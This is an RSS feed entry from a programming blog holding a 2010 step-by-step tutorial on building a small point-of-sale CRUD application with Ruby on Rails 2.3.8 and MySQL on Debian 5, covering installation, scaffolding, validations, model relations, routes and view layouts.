<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Apache</title>
	<atom:link href="http://www.dijexi.com/category/apache/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Developing Web Based POS Application Using Ruby on Rails on Debian 5</title>
		<link>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/</link>
		<comments>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 03:01:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[Debian 5]]></category>
		<category><![CDATA[Developing]]></category>
		<category><![CDATA[point of sales]]></category>
		<category><![CDATA[Web Applications]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/</guid>
		<description><![CDATA[In this article we will learn how to begin developing web applications using Ruby on Rails. First we setup the development environment, then develop a simple CRUD (create, read, update, delete) application using MySQL database, and deploy the application to Apache web server. An an example, we will develop a very simple point of sales [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--></p>
<p>In this article we will learn how to begin developing web applications using Ruby on Rails. First we setup the development environment, then develop a simple CRUD (create, read, update, delete) application using MySQL database, and deploy the application to Apache web server. An an example, we will develop a very simple point of sales (POS) application that consists only 3 tables: orders, order_details, and items.</p>
<p>&#160;</p>
<h2>Ruby on Rails Installation</h2>
<p>Install Ruby if it’s not installed yet on your system:</p>
<blockquote><p><font face="Courier"># apt-get install&#160; ruby1.8 ruby1.8-dev</font></p>
<p>&#160;</p>
</blockquote>
<p>Install Ruby Gem package management directly from Rubyforge since we need the newer version than version 1.3.1 that is shipped with Debian 5:</p>
<p> <span id="more-1366"></span><br />
<blockquote>
<p><font face="Courier"># wget </font><a title="http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz" href="http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz"><font face="Courier">http://rubyforge.org/frs/download.php/70696/rubygems-1.3.7.tgz</font></a></p>
<p><font face="Courier"># tar xfz rubygems-1.3.7.tgz</font></p>
<p><font face="Courier"># cd rubygems-1.3.7.tgz</font></p>
<p><font face="Courier"># ruby setup.rb</font></p>
<p><font face="Courier"># ln -s /usr/bin/gem1.8 /usr/bin/gem</font> </p>
<p>&#160;</p>
</blockquote>
<p>Install Ruby on rails version 2.3.8 using gem command:</p>
<blockquote><p><font face="Courier"># gem install -v=2.3.8 rails</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<h2>Start Developing the Application</h2>
<p>We are going to put our application on /opt/rubyapp or whatever directory you like. </p>
<blockquote><p><font face="Courier"># cd /opt</font></p>
<p><font face="Courier"># mkdir rubyapp</font></p>
<p>&#160;</p>
</blockquote>
<p>On that directory, run rails command to create a new application skeleton. We are going to create a simple POS application and we call it simplepos.</p>
<blockquote><p><font face="Courier"># rails simplepos</font></p>
<p>&#160;</p>
</blockquote>
<p>Rails will create the application skeleton on the directory name we specified. Go to that directory and run the server.</p>
<blockquote><p><font face="Courier"># cd simplepos</font></p>
<p><font face="Courier"># ruby script/server</font></p>
<p>&#160;</p>
</blockquote>
<p>Ruby on Rails server will start and we can access it from <a href="http://yourserver-ip:3000">http://yourserver-ip:3000</a>, like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb.png" width="504" height="337" /></a> </p>
<p>&#160;</p>
<p><em>Note: I once found a conflicting port 3000 on Debian 5, which was used by Dr WEB application. Simply stop that service or change the port in order that Rails application to start correctly.</em></p>
<p>You can see that the default database driver is SQL lite. We need to change this to MySQL. Edit the config/database.yml:</p>
<blockquote><p><font face="Courier New">development:        <br />&#160; adapter: mysql         <br />&#160; database: simplepos_development         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000 </font></p>
<p><font face="Courier New"># Warning: The database defined as &quot;test&quot; will be erased and        <br /># re-generated from your development database when you run &quot;rake&quot;.         <br /># Do not set this db to the same as development or production.         <br />test:         <br />&#160; adapter: mysql         <br />&#160; database: simplepos_test         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000 </font></p>
<p><font face="Courier New">production:        <br />&#160; adapter: mysql         <br />&#160; database: simplepos_production         <br />&#160; user: root         <br />&#160; password: 1234         <br />&#160; pool: 5         <br />&#160; timeout: 5000</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Adjust the user name and password according to your system. Then run this command to create all the databases defined on the config file:</p>
<blockquote><p><font size="2" face="Courier New"># rake db:create:all</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<p>Run the server again (ruby script/server) and make sure that our database is now MySQL:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb1.png" width="504" height="333" /></a> </p>
<p>&#160;</p>
<h2>The Application Design</h2>
<p>Our application is quite simple. It contains only 3 tables</p>
<ul>
<li><strong>orders</strong> for storing sales transactions with the following fields:</li>
<ul>
<li>number</li>
<li>order_date</li>
</ul>
<li><strong>items</strong> for storing items to be sold the following fields:</li>
<ul>
<li>number</li>
<li>name</li>
<li>description</li>
<li>unit_price</li>
</ul>
<li><strong>order_details</strong> for storing order details with the following fields:</li>
<ul>
<li>order_id</li>
<li>item_id</li>
<li>qty</li>
<li>unit_price</li>
<li>amount</li>
</ul>
</ul>
<p>Here is the relation of the 3 tables:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb2.png" width="520" height="222" /></a> </p>
<p>&#160;</p>
<h2>Creating Model , Controller, and View using Scaffold for Orders Data</h2>
<p>Let’s move on to coding. Rails provides us a very powerful scaffolding script that allows us to easily create the model, view, and controller, and even the tables related to the model.</p>
<p>First, create the Order model. Here we follow the Rails convention: model use singular word.</p>
<blockquote><p><font face="Courier New"># ruby script/generate scaffold Order number:integer order_date:date</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Rails will create our Order model, view, and controller. Take a look on simplepos/app folder. Next create the database table according to the fields that we sepcified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>Now, run the server again (ruby script/server) and test the CRUD functionality for the Order data by entering the URL address: <a href="http://yourserver-ip:3000/orders">http://yourserver-ip:3000/orders</a>. We can see the list orf orders on the index page, a new order creation link, along with edit, update, and delete link if there’s an order already.</p>
<p>Listing orders:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image3.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb3.png" width="450" height="417" /></a> </p>
<p>Adding new order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb4.png" width="450" height="417" /></a> </p>
<p>Order created:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb5.png" width="450" height="417" /></a> </p>
<p>List the orders on the order list:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb6.png" width="450" height="417" /></a> </p>
<p>Editing the order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image7.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb7.png" width="450" height="417" /></a> </p>
<p>Deleting the order:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image8.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb8.png" width="469" height="294" /></a> </p>
<p>What have we have is a complete CRUD application for Orders table created automatically by Rails scaffolding.</p>
<p>&#160;</p>
<h2>Creating Model , Controller, and View using Scaffold for Items Data</h2>
<p>Now create the model, controller, view, and table for items data, using the same steps as above.</p>
<blockquote><p><font face="Courier New"># ruby script/generate scaffold Item number:integer name:string description:text unit_price:decimal</font></p>
</blockquote>
<p>Then create the database table according to the fields that we specified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>And try to run the items CRUD by pointing to URL <a href="http://yourserver-ip:3000/items">http://yourserver-ip:3000/items</a> . You should be able to list, create, edit, and delete the items data now. This is the example of creating new item form.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image9.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb9.png" width="446" height="670" /></a> </p>
<p>&#160;</p>
<h2>Validating Data</h2>
<p>If we need to validate data entered by the user, then we can easily edit the model and add validations to the fields. For example, we need to validate the existence of number and&#160; order_date fields on orders table. Also we need to validate whether total_amount field is a number or not. Edit the app/model/order.rb file and add the following bold lines:</p>
<blockquote><p><font face="Courier New">class Order &lt; ActiveRecord::Base       <br /></font><font face="Courier New"><strong>&#160;&#160; validates_presence_of :number, :order_date&#160; </strong>        <br />end</font></p>
</blockquote>
<p>Stop and start the server again, and let’s enter the wrong data according to the validation rule.</p>
<p>Entering a blank number, order_date.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image10.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb10.png" width="450" height="417" /></a> </p>
<p>Of course, we could also add the validation to Items data by editing the app/model/item.rb file, by adding the following bold lines:</p>
<blockquote><p><font face="Courier">class Item &lt; ActiveRecord::Base       <br />&#160;&#160; </font><font face="Courier"><strong>validates_presence_of :number, :name, :unit_price         <br />&#160;&#160; validates_numericality_of :unit_price</strong>        <br />end</font></p>
</blockquote>
<p>Try to create a blank number, name, unit_price on item data:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image11.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb11.png" width="466" height="440" /></a> </p>
<p>&#160;</p>
<h2>Creating Order Details MVC and Set the Relation</h2>
<p>Order details is the place where we stored the actual sales transaction. It will record the items purchased on a particular order number. So it has a relation to items table and orders table as well, both for a “belongs to” relationship. So the relations will be:</p>
<ul>
<li>orders has many order_details</li>
<li>items has many order_details</li>
<li>order_details belongs to orders and items</li>
</ul>
<ul>Let’s create the MVC for this order details using the same steps as before:</ul>
<ul>
<blockquote>
<p><font face="Courier New"># ruby script/generate scaffold OrderDetail order:references item:references qty:integer unit_price:decimal amount:decimal</font></p>
</blockquote>
<p>Note that we used references data type for order and item on OrderDetail model. This will make Rails to create a relationship between OrderDetail and Order and Item model (ie OrderDetails belongs to Order and Item). It will also create a reference column on the order_details table, which is order_id and items_id. </p>
<p>Then create the database table according to the fields that we specified on the scaffold above:</p>
<blockquote><p><font face="Courier New"># rake db:migrate</font></p>
<p><font face="Courier New"></font>&#160;</p>
</blockquote>
<p> And take a look at the generated order_details table:</ul>
<blockquote><p><font face="Courier New">mysql&gt; explain order_details;       <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />| Field&#160;&#160;&#160;&#160;&#160; | Type&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; | Null | Key | Default | Extra&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />| id&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | NO&#160;&#160; | PRI | NULL&#160;&#160;&#160; | auto_increment |        <br /><strong>| order_id&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |         <br />| item_id&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |</strong>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| qty&#160;&#160;&#160;&#160;&#160;&#160;&#160; | int(11)&#160;&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| unit_price | decimal(10,0) | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| amount&#160;&#160;&#160;&#160; | decimal(10,0) | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| created_at | datetime&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />| updated_at | datetime&#160;&#160;&#160;&#160;&#160; | YES&#160; |&#160;&#160;&#160;&#160; | NULL&#160;&#160;&#160; |&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; |        <br />+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;+&#8212;&#8211;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+        <br />8 rows in set (0.00 sec)</font></p>
</blockquote>
<p>&#160;</p>
<p><em>Note: created_at and updated_at are auto generated columns when we create the scaffolding.</em></p>
<p>Let’s define this relations to the models. First edit the order model (app/model/order.rb) and add the following bold lines:</p>
<blockquote><p><font face="Courier">class Order &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :order_date        <br />&#160;&#160; </font><font face="Courier"><strong>has_many :order_details         <br /></strong>end</font></p>
</blockquote>
<p> And to the item model (app/model/item.rb)</p>
<blockquote><p><font face="Courier">class Item &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :name, :unit_price        <br />&#160;&#160; validates_numericality_of :unit_price        <br /></font><font face="Courier"><strong>&#160;&#160; has_many :order_details         <br /></strong>end</font></p>
</blockquote>
<p>Also check the order detail model (app/model/order_detail.rb) has the relationship already because we specify that order and items are references when do the scaffolding.</p>
<blockquote><p><font face="Courier">class OrderDetail &lt; ActiveRecord::Base       <br />&#160; belongs_to :order        <br />&#160; belongs_to :item        <br />end</font></p>
</blockquote>
<p>&#160;</p>
<h2>Edit routes.rb</h2>
<p>We also need to edit the config/routes.rb so that the URL for order and order details also have a relationship information that order has many order_details. Modify the file so it looks like the following:</p>
<blockquote><p><font face="Courier">ActionController::Routing::Routes.draw do |map|       <br />&#160; map.resources :items </font></p>
<p><strong><font face="Courier">&#160; map.resources :orders, :has_many =&gt; :order_details</font></strong></p>
<p><font face="Courier">&#8230;.</font></p>
</blockquote>
<p>It will enable us to access the order details data below the order URL like this: <a href="http://yourserver:3000/orders/1/order_detail">http://yourserver:3000/orders/1/order_detail</a></p>
<p>&#160;</p>
<h2>Adding Order Detail Form </h2>
<p>We need to add the detail form below the Order show page so that we can add item details for a particular Order.</p>
<p>Add these bold lines just below the Date field of the Order:</p>
<blockquote><p><font face="Courier">&#8230;</font></p>
<p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Order date:&lt;/b&gt;        <br />&#160; &lt;%=h @order.order_date %&gt;        <br />&lt;/p&gt;</font></p>
<p><font face="Courier"><strong>&lt;h1&gt;Order details&lt;/h1&gt;         <br />&lt;table&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;th&gt;Item&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Qty&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Unit Price&lt;/th&gt;          <br />&#160;&#160; &lt;th&gt;Amount&lt;/th&gt;          <br />&lt;/tr&gt;          <br /></strong></font></p>
<p><font face="Courier"><strong>&lt;%= render :partial =&gt; @order.order_details %&gt;</strong></font></p>
<p><font face="Courier"><strong>&lt;% form_for [@order, OrderDetail.new] do |f| %&gt;         <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.label :item_id, &quot;item&quot; %&gt;&lt;/td&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.label :qty, &quot;Qty&quot; %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.select :item_id, @items.map {|u| [u.name,u.id %&gt;&lt;/td&gt;          <br />&#160;&#160; &lt;td&gt;&lt;%= f.text_field :qty %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;tr&gt;          <br />&#160;&#160; &lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;%= f.submit &quot;add detail&quot; %&gt;&lt;/td&gt;          <br />&lt;/tr&gt;          <br />&lt;% end %&gt;          <br />&lt;/table&gt;</strong></font></p>
<p><font face="Courier">...</font></p>
</blockquote>
<p>&#160;</p>
<p>We need to create a new file under app/views/order_details, called app/views/order_details/_order_detail.html.erb. This file is required by the <em>:render=&gt;partial </em>line above and is a partial template file used to render each order detail lines for an Order.</p>
<p>&#160;</p>
<blockquote><p><font face="Courier">&lt;% div_for order_detail do %&gt;       <br />&lt;tr&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.item.name %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.qty %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.unit_price %&gt;&lt;/td&gt;        <br />&#160;&#160; &lt;td&gt;&lt;%=h order_detail.amount %&gt;&lt;/td&gt;        <br />&lt;/tr&gt;        <br />&lt;% end %&gt;</font></p>
</blockquote>
<p>&#160;</p>
<p>Then, we create a form for order details of an order ( form_for [@order, OrderDetail.new] do |f| ). After this, f variable will be related to order_details, but when submitted it will go to&#160; /orders/&lt;id&gt;/order_details.</p>
<p>On that form, we use select() helper function to render a selection box that is populated with all items data that we have where users can pick an item from. Using @items.map we create an array that is required by the select() as its option values.</p>
<p>Next, edit app/controller/orders_controller.rb file so that it provides us with @items object that we used on the select() above.</p>
<blockquote><p><font face="Courier">def show       <br />&#160; @order = Order.find(params[:id])        <br />&#160; <strong>@items = Item.find(:all) </strong></font></p>
<p><font face="Courier">&#160; respond_to do |format|       <br />&#160;&#160;&#160; format.html # show.html.erb        <br />&#160;&#160;&#160; format.xml&#160; { render :xml =&gt; @order }        <br />&#160; end        <br />end</font> </p>
</blockquote>
<p>&#160;</p>
<p>Modify app/controller/order_details_controller.rb so that it contains only one create method (delete all other methods generated by the scaffolding process). This is invoked when we create a new order_detail record.</p>
<p>&#160;</p>
<blockquote><p><font size="2" face="Courier">class OrderDetailsController &lt; ApplicationController       <br />&#160;&#160; def create        <br />&#160;&#160;&#160;&#160;&#160; @order = Order.find(params[:order_id])        <br />&#160;&#160;&#160;&#160;&#160; @order_detail = @order.order_details.create!(params[:order_detail])        <br />&#160;&#160;&#160;&#160;&#160; item = Item.find(params[:order_detail][:item_id])        <br />&#160;&#160;&#160;&#160;&#160; qty = params[:order_detail][:qty]        <br />&#160;&#160;&#160;&#160;&#160; @order_detail.update_attributes(:amount=&gt;item.unit_price.to_i * qty.to_i , :unit_price=&gt;item.unit_price)        <br />&#160;&#160;&#160;&#160;&#160; redirect_to @order        <br />&#160;&#160; end        <br />end</font></p>
</blockquote>
<p>&#160;</p>
<p>On this method, first we find the order identified by an ID (params[:order_id]) which is a parameter posted by the order detail form.</p>
<p>Found the Order, we create an OrderDetail record by calling @order.order_details.create!() method. This is possible because we have declared that an order can have many order_details.</p>
<p>Next we find the item that is being selected by the user, to find out its unit_price and calculate the order detail amount. Then we update the attributes of order_details using these values.</p>
<p>After all processes are done, we redirect back to the order URL (redirect_to @order).</p>
<p>&#160;</p>
<p>It’s time now to try our modified application, go to Order URL and click Show link. We will have a new look of the form:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image12.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb12.png" width="450" height="417" /></a> </p>
<p>Try to add items on the order and check the unit price and amount. </p>
<p>&#160;</p>
<h2>Calculating Order’s Total Amount </h2>
<p>It’s time to calculate the total amount of an order which is the sum of amounts of all order_details that it has.</p>
<p>This is easily calculated using the relation that we have set before (order has many order_details). After defining that relation, we will be able to call order.order_details.sum(colname) and get the total value of colname on the order_details table where order_id is the order that we are looking at.</p>
<p>So, we can edit add/model/order.rb to add a new method total_amount that will return the sum of column amount on the table that it has many (order_details):</p>
<blockquote><p><font face="Courier">class Order &lt; ActiveRecord::Base       <br />&#160;&#160; validates_presence_of :number, :order_date, :total_amount        <br />&#160;&#160; validates_numericality_of :total_amount        <br />&#160;&#160; has_many :order_details </font></p>
<p><font face="Courier"><strong>&#160;&#160; def total_amount         <br />&#160;&#160;&#160;&#160;&#160; self.order_details.sum(:amount)          <br />&#160;&#160; end          <br /></strong>end</font></p>
</blockquote>
<p>Now we can use that method from our views. Edit the app/views/orders/index.html.erb:</p>
<blockquote><p><font size="1" face="Courier">&lt;h1&gt;Listing orders&lt;/h1&gt; </font></p>
<p><font size="1" face="Courier">&lt;table&gt;       <br />&#160; &lt;tr&gt;        <br />&#160;&#160;&#160; &lt;th&gt;Number&lt;/th&gt;        <br />&#160;&#160;&#160; &lt;th&gt;Order date&lt;/th&gt;        <br /></font><font size="1"><font face="Courier"><strong>&#160;&#160;&#160; &lt;th&gt;Total amount&lt;/th&gt;           <br /></strong>&#160; &lt;/tr&gt; </font></font></p>
<p><font size="1" face="Courier">&lt;% @orders.each do |order| %&gt;       <br />&#160; &lt;tr&gt;        <br />&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.number %&gt;&lt;/td&gt;        <br />&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.order_date %&gt;&lt;/td&gt;        <br /></font><font size="1"><font face="Courier"><strong>&#160;&#160;&#160; &lt;td&gt;&lt;%=h order.total_amount %&gt;&lt;/td&gt;           <br /></strong>&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Show&#8217;, order %&gt;&lt;/td&gt;          <br />&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Edit&#8217;, edit_order_path(order) %&gt;&lt;/td&gt;          <br />&#160;&#160;&#160; &lt;td&gt;&lt;%= link_to &#8216;Destroy&#8217;, order, :confirm =&gt; &#8216;Are you sure?&#8217;, :method =&gt; :delete %&gt;&lt;/td&gt;          <br />&#160; &lt;/tr&gt;          <br />&lt;% end %&gt;          <br />&lt;/table&gt;</font></font></p>
</blockquote>
<p>Here is the look of the modified index pages:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb13.png" width="416" height="374" /></a> </p>
<p>And also the app/views/orders/show.html.erb:</p>
<blockquote><p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Number:&lt;/b&gt;        <br />&#160; &lt;%=h @order.number %&gt;        <br />&lt;/p&gt; </font></p>
<p><font size="1" face="Courier">&lt;p&gt;       <br />&#160; &lt;b&gt;Order date:&lt;/b&gt;        <br />&#160; &lt;%=h @order.order_date %&gt;        <br />&lt;/p&gt; </font></p>
<p><font size="1" face="Courier"><strong>&lt;p&gt;         <br />&#160; &lt;b&gt;Total amount:&lt;/b&gt;          <br />&#160; &lt;%=h @order.total_amount %&gt;          <br />&lt;/p&gt;</strong></font></p>
<p><font size="1" face="Courier">. . . </font></p>
</blockquote>
<p>Here is the look of the modified show page:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image14.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb14.png" width="433" height="417" /></a> </p>
<p>&#160;</p>
<p>&#160;</p>
<h2>Decorating and Layout</h2>
<p>&#160;</p>
<h4>Per model layout</h4>
<p>As part of the scaffolding process, Rails generates a layout template for each model that we created. It is located on app/views/layouts directory. For example, we change the layout of the Items data, which is the app/views/layouts/items.html.erb.</p>
<blockquote><p><font face="Courier">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;       <br />&#160;&#160;&#160;&#160;&#160;&#160; &quot;</font><a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;"><font face="Courier">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;</font></a><font face="Courier">&gt; </font></p>
<p><font face="Courier">&lt;html xmlns=&quot;</font><a href="http://www.w3.org/1999/xhtml&quot;"><font face="Courier">http://www.w3.org/1999/xhtml&quot;</font></a><font face="Courier"> xml:lang=&quot;en&quot; lang=&quot;en&quot;&gt;       <br />&lt;head&gt;        <br />&#160; &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=UTF-8&quot; /&gt;        <br />&#160; &lt;title&gt;Items: &lt;%= controller.action_name %&gt;&lt;/title&gt;        <br />&#160; &lt;%= stylesheet_link_tag &#8216;scaffold&#8217; %&gt;        <br />&lt;/head&gt;        <br />&lt;body&gt; </font></p>
<p><font face="Courier">&lt;p style=&quot;color: green&quot;&gt;&lt;%= notice %&gt;&lt;/p&gt; </font></p>
<p><font face="Courier">&lt;%= yield %&gt; </font></p>
<p><font face="Courier">&lt;/body&gt;       <br />&lt;/html&gt;</font></p>
</blockquote>
<p>As you can see, it’s a regular HTML file with a special tag that comes from Rails, which are&#160;&#160;&#160; &lt;%= stylesheet_link_tag &#8216;scaffold&#8217; %&gt;&#160; and <font face="Courier">&lt;%= yield %&gt;. </font>The first tag is how Rails application link a CSS file, in this case scaffold.css. Rails automatically search this file on public/stylesheets directory on our application folder. </p>
<p>The next tag is &lt;%= yield %&gt;. This is a Rails variable that contains the data generated by the view. So everything that we write on the view files will be contained in this variable and rendered on this layout file.</p>
<p>Let’s modify the body background color for Items data only, so change the body tag to &lt;body style=&quot;background-color:#aaa&quot;&gt;. We should see the background color for Items listing, edit, create, and update page will be changed.</p>
